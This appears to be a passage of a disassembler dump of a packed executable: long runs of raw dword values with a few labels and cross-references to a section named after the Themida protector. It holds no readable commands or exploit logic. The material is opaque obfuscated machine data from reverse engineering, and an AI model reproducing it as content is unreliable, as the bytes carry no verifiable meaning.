dd 0EF803794h, 1D858B7Ch, 6A06072Ah, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 1D8BC353h
dd 0D460E516h, 0E882B194h, 12h, 0F5B1717Ch, 64AD3967h
dd 571484FFh, 0FD0D3A7h, 0B70FAAFCh, 60525FFBh, 2D3D9D8Bh
dd 61600607h, 85335F61h, 6071AFDh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 82C35646h, 7E8D9h, 0D47E0000h
dd 8A9D141Ah, 0E026BF08h, 905F2B91h, 7E85250h, 40000000h
dd 0F1AEBA7Ch, 0F5F997Dh, 0EE931h, 905B0000h, 0F6B98F1Ch
dd 28029682h, 0E46D4825h, 0B750585Ah, 6A902Ah, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 0EDD909C3h, 9D8B659Ch, 6070711h, 6A006Ah, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0FA8C22C3h
dd 97F0A6B6h, 0E8A6DA18h, 0Ch, 8DC5B98Ch, 65DAE12Bh, 535FBBCBh
dd 1D99509h, 0E85B0607h, 4, 1F03FFh, 8A50FC8Ah, 24448BFCh
dd 0DBF6604h, 89008B93h, 0F042444h, 83h, 85895800h, 6072659h
dd 9F995FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 86050AC3h, 0DF858989h, 6A060AADh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h
dd 43000000h, 0B0E0C353h, 0B19D8BE6h, 0E906072Ah, 17Dh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0CFC35646h
dd 4390C8A9h, 0E919BF50h, 858B519Bh, 60AADD7h, 42D9D09h
dd 0C70607h, 18h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 17h, 14C35141h, 9AA96BAh, 701C59Dh, 0DBB58B06h, 66060AADh
dd 858BDA8Bh, 6072BCDh, 0BFF9BF0Fh, 352EFEA0h, 0B5890689h
dd 607186Dh, 2A1D858Bh, 6A0607h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1C0424h, 50400000h, 71A765C3h, 0C809DD4Ah
dd 0E78139F0h, 0EBF6B54h, 6A044689h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 5839C357h
dd 5E9B7h, 85220000h, 507F929Fh, 3489FC8Ah, 53006A24h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 7E68E4E6h, 34695A62h, 39D9D8Bh, 0B5FF0607h, 60AADD7h
dd 299D8D89h, 95890607h, 607139Dh, 0E79E3768h, 0DF8B66BDh
dd 0C8240481h, 6A423765h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 17042444h, 47000000h, 0B671C357h, 0BD89CD23h
dd 60720E9h, 0DFDF8166h, 0DF858D87h, 0BF060AADh, 0FB648BEh
dd 5E950h, 10960000h, 896BFCDEh, 85092404h, 6072D11h, 9F995FFh
dd 870F0607h, 1, 6A61F9h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 0E9764CC3h, 89C3DC8Ah
dd 72D8185h, 958D8906h, 0C7060707h, 7330585h, 306h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 2D6E5745h, 6414A3A1h, 0BD01A904h, 60703A5h, 0ADDFBD83h
dd 0F00060Ah, 2784h, 8A0F6000h, 0Bh, 6E9h, 43643100h, 615B23C4h
dd 2AE9h, 8E800h, 95050000h, 68312D3Eh, 5BF98825h, 110C3050h
dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h
dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
dd 2EF8C357h, 46780610h, 16880FBFh, 0E9000000h, 11h, 89F18273h
dd 710A0586h, 414788D7h, 4B1D9ED8h, 25BB66C2h, 0E321BF81h
dd 0BD834B74h, 6073305h, 2B850F03h, 60000004h, 11E9h, 0AE0B7000h
dd 97202FF0h, 0C73EEF48h, 7291D055h, 958B905Dh, 60732F9h
dd 0DFBD8361h, 60AADh, 400840Fh, 0BD8B0000h, 60725E1h
dd 0FFD88B66h, 0AADDFB5h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 8A07EA89h
dd 73E43F8Ah, 8166705Ah, 0FF9A2CD3h, 7212995h, 0CE806h
dd 35580000h, 7E3B7BFEh, 5D2C2853h, 0BD8B3DFAh, 6072A45h
dd 0D3B58B5Fh, 6A060AADh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1B042444h, 47000000h, 0EE08C357h, 802C9DAEh
dd 0DB806CC1h, 106C732h, 0E8000100h, 8, 3EEC8158h, 191E1A26h
dd 8B965FF9h, 0DF8B50FAh, 35BD8B96h, 0FF06070Ah, 0AADDFB5h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h
dd 0C3514100h, 6B90E018h, 53FC66A3h, 25195FFh, 0CE80607h
dd 0D1000000h, 0A6A1E670h, 2EFE1E39h, 311FF03Eh, 701B58Dh
dd 0B58B5F06h, 60AADD3h, 0C8B96660h, 0F58529BBh, 61060725h
dd 12A1858Bh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 7C7639C3h, 4A6CB790h, 0C48689h
dd 0BD8B0000h, 6071941h, 1AD9958Bh, 6A0607h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0AF8C0DC3h
dd 78BF10BDh, 4C283D9h, 22099509h, 50890607h, 7E96020h
dd 0D2000000h, 56AD435Bh, 0B58BBD5Ch, 60703E9h, 70858D61h
dd 6A060AC1h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 0B65AC356h, 720C0CC6h, 81FA8B66h
dd 668526CFh, 0B886893Dh, 53000000h, 758D8B60h, 0BA060702h
dd 134C9076h, 6A5F61h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 19h, 0B1C35646h, 6342E241h, 0D9B70F16h, 9437BFBFh
dd 0DFB5FF63h, 6A060AADh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 7FD2C357h, 68C0F15h
dd 3000000h, 707B1BDh, 9195FF06h, 6A060707h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 0BC30C352h, 0E8557F12h, 0Ch, 8AE9764Ch, 0FD6DC3DCh
dd 0A89FDB4Fh, 0B7D9D29h, 505F0607h, 12840Fh, 7E80000h
dd 7D000000h, 14D5602Ch, 0A1BBBA86h, 5F0C5B91h, 6A243489h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 0B35AC356h, 0DFB5FFE9h, 6A060AADh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
dd 5E95C355h, 0CE812A59h, 0CE9h, 8E7EDC00h, 20DEEC21h
dd 951F952Ch, 995FF00h, 6A06072Dh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0CA32C352h
dd 9D85D8EEh, 0BD8BF831h, 607292Dh, 14C1BD83h, 0F000607h
dd 3284h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1A04h, 0C3534300h, 1CE73B22h, 89627234h, 72B8595h, 508BB306h
dd 89FA8B66h, 0FFFC2434h, 0AADDFB5h, 9595FF06h, 5306071Fh
dd 0DFB5FF5Fh, 6A060AADh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 45D4C356h, 5FBF0D48h
dd 840FBD77h, 0Ah, 89616060h, 706C985h, 95FF6106h, 60702C1h
dd 14A99D8Bh, 0BD830607h, 6072865h, 3C840F02h, 89000000h
dd 70309BDh, 858BF806h, 6070E69h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Bh, 0ABC35545h, 840F688Bh, 89D6CFA4h
dd 7182195h, 0C606h, 0C71CF780h, 72A5185h, 6, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 3F1E08F1h, 0E2E95828h, 8BFFFFF2h, 703BD9Dh, 8AC18B06h
dd 0B1858DD9h, 6A060718h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 0A6E1C353h, 5F9860F9h
dd 13E950h, 68BA0000h, 26DEFAE4h, 2E9D50BAh, 86F68523h
dd 44B2B1A4h, 24048986h, 80CF8166h, 6A006A57h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
dd 8134C352h, 6840Fh, 95890000h, 60721A1h, 0ECB8DEBBh
dd 0BB006A12h, 5FAD4216h, 0BCD6858Dh, 9D8B060Bh, 6070DFDh
dd 0D860Fh, 89600000h, 7115585h, 219EBE06h, 83611C20h
dd 6A05C0h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
dd 50400000h, 652D2AC3h, 0E9BB0804h, 7, 0F9312C7Ch, 9081A549h
dd 13E9h, 669D9800h, 0FD793CC6h, 8E84A9E3h, 1BB9CA0Fh
dd 66194D1Bh, 6A9050h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 190424h, 50400000h, 8065A1C3h, 81308200h, 2BFBDEEBh
dd 60006A3Ch, 1F45BD8Bh, 840F0607h, 2, 6A616160h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 0F6649EE1h, 1E3D95FFh, 0BD8B0607h, 6070E35h, 93D58D8Dh
dd 0B589060Ah, 6072859h, 0EF80D1FFh, 0BDBD8354h, 1060719h
dd 7B850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 170424h, 56460000h, 0B65CE1C3h, 0A5BF66E0h, 6A026A49h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h
dd 46000000h, 0D773C356h, 5090434Ah, 90FA8B66h, 43158DBBh
dd 9195FF79h, 0E9060707h, 0Ch, 0A6252633h, 4C5968A5h, 0B99F32B0h
dd 10E9h, 604CA900h, 51D39635h, 0B0F0492Ah, 14B7C8D6h
db 38h
byte_588495 db 0E9h, 2Ah, 0Eh ; DATA XREF: Themida_:0053D914o
dd 0E80000h, 5D000000h, 0BCE0ED81h, 0DF81060Bh, 65F2BD34h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 11C35141h
dd 2BBC37B7h, 8D5FE636h, 0A843F85h, 0D1C78106h, 505A50A3h
dd 89DE8B66h, 830F2404h, 19h, 11E853h, 1F3C0000h, 7088DAF2h
dd 7CF1FF37h, 6B157375h, 5F822636h, 35FF645Fh, 0
dd 0E659D8Bh, 89640607h, 25h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 7F2AB72Eh
dd 3105877Dh, 0BD8BC8F0h, 60711BDh, 2F5985FFh, 9D8B0607h
dd 6073119h, 0F5E78166h, 66FF6A28h, 11A7DF81h, 0BE9B5FFh
dd 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
dd 50400000h, 1AA508C3h, 95FF8B5Bh, 6072B89h, 120E9h, 0B0F800h
dd 70E6FB8Bh, 8B6DDF80h, 0BF71E4F8h, 27A2E1Ah, 830F613Ch
dd 105h, 0F03EF80h, 0BD8BC8B6h, 6071B29h, 6BAh, 1D8D8900h
dd 89060714h, 72B2D9Dh, 9C18B06h, 703A1B5h, 4E8C106h, 2D89BD23h
dd 0F7660607h, 0AE9E2h, 0DE7F0000h, 4D6739D1h, 0DEDB30ADh
dd 14A9BD8Bh, 0C82B0607h, 6820Fh, 9D090000h, 60707F1h
dd 13E9h, 46ADB300h, 23F5555Ah, 0F02F805Ah, 2CE4DAA6h
dd 0F937EAD9h, 8B53D18Bh, 712A99Dh, 8AE95B06h, 0F000000h
dd 88Ch, 2880F00h, 8B000000h, 8858BF9h, 83000000h, 816607C0h
dd 832A72F3h, 8D8900C0h, 607209Dh, 6820Fh, 95290000h, 6073331h
dd 830FD03Bh, 16h, 6E9h, 3AB21700h, 0E9D092D6h, 41h, 255BD8Bh
dd 8D8B0607h, 0FFFFFFFFh, 0C316CB81h, 0E1837B95h, 26840F01h
dd 0F000000h, 0A583DAB7h, 0FFFFFFFFh, 89589FEh, 0E8000000h
dd 5, 0BE308A15h, 810FD1h, 5B000000h, 0E9h, 2FB58D00h
dd 6A060B3Ch, 4FE9BF00h, 0DF800F29h, 6995FF79h, 8B06070Dh
dd 704E1BDh, 8A0F06h, 0B9000000h, 10C7h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 17h, 53C35646h, 66031A3Dh
dd 0E03F781h, 835FF952h, 6AFCE1h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1C0424h, 56460000h, 331A8DC3h, 0DDFB025Bh
dd 0FCFC64F0h, 8819509h, 0C02B0607h, 5F2FCF81h, 0BA61ECh
dd 8B000000h, 7108D9Dh, 0C233AD06h, 0D003E8D1h, 7504E983h
dd 55006AF4h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 82598655h, 9D89E4CFh, 607075Dh, 5CE78166h
dd 57006A0Dh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h
dd 0C3574700h, 15A8A37h, 880D784Ch, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 2443C357h, 8684E1ADh, 8B1E77AAh, 70089BDh, 0D9958B06h
dd 2306071Ah, 728B1BDh, 11E906h, 5F500000h, 631CC41Eh
dd 69D46388h, 4CA3993Eh, 8BC71D42h, 7101D8Dh, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 595892Ah, 5006072Dh, 188BC28Bh, 188BC103h, 0E8D1C18Bh
dd 188BC203h, 0FE858h, 0BF800000h, 0F90882E8h, 0D2E04AE2h
dd 8E19A5D1h, 95B5098Ah, 5F060702h, 0E443E781h, 0BD83140Ah
dd 6070E29h, 5A840F00h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 2042C351h
dd 0B848E0h, 8B000000h, 703219Dh, 9B8D8D06h, 6A06074Bh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
dd 47000000h, 0CD7EC357h, 9D89BC6Fh, 6071025h, 0BF0FE1FFh
dd 5BD83DEh, 60733h, 478840Fh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0CA4D32C3h
dd 0BF66DD7Fh, 0BD837056h, 6073305h, 62840F01h, 6A000004h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 0EC70C351h, 239DBD8Bh, 0BD830607h, 6073305h
dd 0FC860F03h, 6A000003h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 0D1E8C356h, 9CE7B83h
dd 70C059Dh, 6A6006h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1D0424h, 57470000h, 2845F4C3h, 4E6ADF1Eh, 66B867BEh
dd 663CCEBBh, 0BD31D98Ch, 6071535h, 8B04E180h, 71A1D9Dh
dd 0FC90A06h, 12D84h, 0F9BD8B00h, 8B060701h, 72A1D85h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 6865F965h, 0F7C1BB19h, 853377DAh, 6071AFDh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 35C35141h
dd 21118531h, 66500607h, 489DA8Bh, 6AF98B24h, 19BD8900h
dd 6806070Bh, 0C9A2E530h, 0CF240481h, 6A367C1Eh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 865BC356h, 9D8BAA77h, 6070829h, 2C39BD8Bh, 95FF0607h
dd 60709F9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 2FC35646h, 53EB7AA8h, 1251B531h, 810F0607h, 6
dd 28959D29h, 85890607h, 60AADDFh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 85C35242h, 8EC48009h, 1CE9E24Fh
dd 6A000002h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 2EE2C351h, 0BB5088BAh, 0BE58D29h
dd 858B0607h, 60AADD7h, 8A0Fh, 0C70000h, 18h, 0E96BD380h
dd 0Dh, 71DE9F61h, 0BB154343h, 0D2E9FB1h, 0DBB58BD5h, 0E9060AADh
dd 9, 0B3978185h, 4EA3414h, 0CD858B67h, 6A06072Bh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 8BF3C355h, 7074D9Dh, 689F806h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 17h, 0CAC35141h, 8BBDF8B1h, 72A1D85h
dd 35B52906h, 89060732h, 6A0446h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 160424h, 55450000h, 0FEBAACC3h, 40BF2DBBh
dd 0AE979h, 0E0B20000h, 784338EAh, 2BF3B51Dh, 0AD85BF66h
dd 0FA8B6696h, 10E950h, 0F3340000h, 0DA9E1FF8h, 0A2E8DF6Ch
dd 77CA353Ch, 89961F3Eh, 72309B5h, 0D7B5FF06h, 6A060AADh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 752AC355h, 2D35B1B1h, 0E780A036h, 31376816h
dd 0BB662168h, 3481B2CCh, 7732C824h, 52006A21h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0C3816681h
dd 858D0115h, 60AADDFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 17h, 42C35545h, 668E9C40h, 820FDA8Bh, 3, 90DEB70Fh
dd 14E957h, 0E2940000h, 0F62DF557h, 0E061939Eh, 940FF883h
dd 6DAFFC82h, 505FA831h, 3DBF6656h, 6A905F4Bh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
dd 6CA8C350h, 0C11C42C5h, 7E9BB8F0h, 2AE1BD8Bh, 95FF0607h
dd 60709F9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ah, 0E7C35545h, 0CA3C8997h, 81667BC8h, 61529CEFh, 85C7DC8Ah
dd 6073305h, 3, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Bh, 3AC35646h, 0EA4BE503h, 0F5661F1h, 8501D9B7h, 607209Dh
dd 0ADDFBD83h, 0F00060Ah, 2A84h, 0DF8B6600h, 3DE9h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
dd 8B0F55h, 50000000h, 110C30h, 0C1011144h, 443010E8h
dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h
dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h
dd 4E98311h, 0EBE775h, 0CE9C08Bh, 4C000000h, 3B587D56h
dd 0EFFC4265h, 0E85A2E42h, 12h, 0FF240520h, 5900FD44h
dd 0FE899934h, 0CD317867h, 0CB817778h, 21C8B875h, 0E960565Bh
dd 11h, 2A4253D8h, 19FEE3DCh, 629DBC31h, 0B230CEB7h, 5B61F94Dh
dd 3305BD83h, 0F030607h, 4BA85h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0F3AE8CB6h
dd 0E9EA2FDAh, 11h, 0FE659FCEh, 0DE0CB82Bh, 0F0D1840h
dd 45FF2B53h, 0DFBD83C1h, 60AADh, 475840Fh, 95290000h
dd 6070BB9h, 16810Fh, 11E90000h, 0D000000h, 0B3C3BA8Bh
dd 0C94AE5E0h, 741C27A1h, 0B679795h, 0ADDFB5FFh, 6A060Ah
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 0D3C5AC3h, 6679F50Bh, 104ED781h, 0FFDEB70Fh, 7212995h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 43737B76h, 0D3B58BC5h, 6A060AADh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 0C789C356h, 1000106h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1A04h, 0C3524200h, 51CD8048h, 500C065Ch
dd 6A243489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 0FFCAC355h, 0E6BDBDEAh, 0BD2B82D4h
dd 6071A79h, 0ADDFB5FFh, 0BF50060Ah, 5F767A78h, 5195FF5Bh
dd 6A060702h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 0A6E3C351h, 0C0696E1Bh, 0A59D8BCFh
dd 8B060713h, 0AADD3B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1C04h, 0C3564600h, 13A7176Ch, 0E12989EAh
dd 0A19D03E8h, 8B060728h, 712A185h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 2FF7EA19h
dd 0C16901C1h, 8689CDBBh, 0C4h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 19h, 76C35040h, 0B07A7756h, 0F6D78170h
dd 8B13EC4Ch, 71AD995h, 8FBBF806h, 8336C6D5h, 0D78004C2h
dd 11E92Fh, 0F7550000h, 0B00BE280h, 0E2B3E57Bh, 0D3603A8Ch
dd 8971ACFBh, 6A2050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 180424h, 53430000h, 0A9126EC3h, 858DC255h, 60AC170h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 10C35141h
dd 0A52D6A7Ch, 6AFAD8ADh, 8E8h, 1F8A6A00h, 82350470h, 86895F13h
dd 0B8h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 0C7A55FC3h, 0A1622F02h, 282EBF8Ah
dd 0B5FF0FBDh, 60AADDFh, 25E19D8Bh, 95FF0607h, 6070791h
dd 2609BD89h, 52500607h, 2434895Bh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 8CC35747h, 45CB6F12h, 9E8h
dd 91FE2B00h, 423CC1B0h, 0F60CD2Dh, 0B523D0BFh, 6070C05h
dd 0D88B5B61h, 0FFD98B66h, 0AADDFB5h, 56006A06h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 0BD8B52F1h, 60702C5h, 2D0995FFh, 0BD830607h, 60714C1h
dd 59840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 6100C350h, 0AF766A57h
dd 25DDCF81h, 605010E5h, 66585260h, 61AF04B8h, 8961C88Bh
dd 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
dd 52420000h, 0E38135C3h, 594A6B46h, 0ADDFB5FFh, 8F0F060Ah
dd 6, 1B899D8Bh, 95FF0607h, 6071F95h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 17h, 2EC35242h, 8A66D76Fh, 91BD8BFDh
dd 0FF06071Dh, 0AADDFB5h, 0DF816606h, 95FF220Bh, 60702C1h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 54C35040h
dd 65BD836Fh, 2060728h, 95840Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0DDD896C3h
dd 63A16D1Fh, 9E94DFFh, 52000000h, 7269A05Fh, 7EF57E05h
dd 0E69858Bh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1D0424h, 51410000h, 0F64651C3h, 3C150AC1h, 0BB992D56h
dd 23B2825Ah, 6A0000C6h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 4620C356h, 0C40C1E97h
dd 0F53AADAh, 682h, 59958900h, 0C7060723h, 72A5185h, 6
dd 1BD78100h, 0E95ECB84h, 0FFFFF2D9h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 0CC35646h, 9DBD89h, 0C18B0607h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0DEC35141h
dd 1141BD8Bh, 0B5890607h, 6072A9Dh, 18B1858Dh, 6A0607h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
dd 0EADD45C3h, 20BDFF13h, 8DB509D5h, 50060723h, 58D0Fh
dd 60BF0000h, 8968A318h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 0D84C61C3h, 699D8BC3h
dd 6A06072Dh, 6A82B700h, 0D8BF0F00h, 0CCB1858Dh, 6A060Bh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
dd 8AD1B1C3h, 50F936D4h, 50CB6082h, 5BDE8B66h, 6A05C083h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h
dd 45000000h, 0B6F1C355h, 0D80D83A3h, 0F9D9D8Bh, 50500607h
dd 0D4B36052h, 5E9h, 0DA91C800h, 0F61E175h, 0C4BF6631h
dd 89585AECh, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 4212F1C3h, 92C0333h, 712C19Dh, 0F006A06h
dd 6AF8BFh, 0A0E38166h, 3D95FF17h, 0E806071Eh, 6
dword_5893E4 dd 0DD645BFDh, 9D098433h, 6072A81h, 208BB5Fh, 8D8D25A0h
; DATA XREF: Themida_:0053CC5Co
dd 60A93D5h, 0CCB8166h, 0BBD1FF10h, 55CFC236h, 19BDBD83h
dd 0F010607h, 5B85h, 0D3816600h, 26ADB50h, 0CC1B589h, 69BB0607h
dd 907123EBh, 9810F50h, 60000000h, 575EA7B8h, 615F5669h
dd 7FCB8190h, 896DB422h, 718B995h, 9195FF06h, 6A060707h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 88FC351h, 20219531h, 0EFB30607h, 0D9FE9h
dd 0E800h, 815D0000h, 0BCCBBEDh, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0F9DDFAFDh
dd 930F22Dh, 72021B5h, 93BB6606h, 8DFA8B73h, 0A843F85h
dd 9EE38006h, 7E890h, 0E7B20000h, 0AF37A02Dh, 7E87Eh, 0B1460000h
dd 0D5911DBCh, 6B5BBF0Bh, 5B5B6388h, 0DE8B6650h, 0BD8B5190h
dd 60719B1h, 8595895Bh, 64060718h, 35FFh, 64F90000h, 2589h
dd 9D8B0000h, 6072B35h, 2F5985FFh, 6A0607h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 44DEE8C3h
dd 0BA7F7122h, 119D8B4Fh, 6A06070Dh, 51006AFFh, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0FF3A612Dh
dd 7124DB5h, 0FFB0B306h, 72B8995h, 151E906h, 0BB660000h
dd 0B0EB17h, 12E9h, 0C7317200h, 0C08A452Eh, 0CC1331E6h
dd 0A1D62B1Ch, 0F874C36h, 70E6DFBFh, 22D19D2Bh, 71E40607h
dd 0EE8h, 413F4D00h, 0F1EB9060h, 92E761B0h, 0E82F7D17h
dd 5, 0A4CE838Eh, 0E19D8B79h, 5B06072Bh, 0F613C5Fh, 0FA83h
dd 319D8B00h, 0F060723h, 0BAF9C8B6h, 6, 5E9h, 158A6800h
dd 0C18B01BCh, 0C1DE8B66h, 0DB8104E8h, 38D5DA44h, 81E2F766h
dd 60017CBh, 81C82B06h, 90EB50EBh, 0E9D18B03h, 0Eh, 0FB8D954Ah
dd 3FF30996h, 84F30017h, 0A8E93FB8h, 0E8000000h, 6, 0A9DC784Ch
dd 8D01EC8Fh, 6072661h, 1858B5Fh, 0F000000h, 78Ah, 81665000h
dd 5F17E9D7h, 6607C083h, 0C083FA8Bh, 580EBB00h, 0D03B0E1Ch
dd 10830Fh, 0C2BF0000h, 0E955AE46h, 63h, 21D5BD8Bh, 8D8B0607h
dd 0FFFFFFFFh, 0AE8h, 4B028B00h, 7EED53F9h, 8B70712Dh
dd 70459BDh, 0E1835B06h, 38840F01h, 0E8000000h, 9, 639A741Bh
dd 0CB07E16Eh, 0C781661Dh, 835B051Fh, 0FFFFFFA5h, 8589FEFFh
dd 6072101h, 19589h, 9D290000h, 60713E1h, 11A18589h, 0E90607h
dd 8D000000h, 0B4CF6B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1B04h, 0C3554500h, 0A61D1BCBh, 0D0DD9BADh
dd 43CF8166h, 6A006A5Bh, 3E85200h, 20000000h, 895AC35Ah
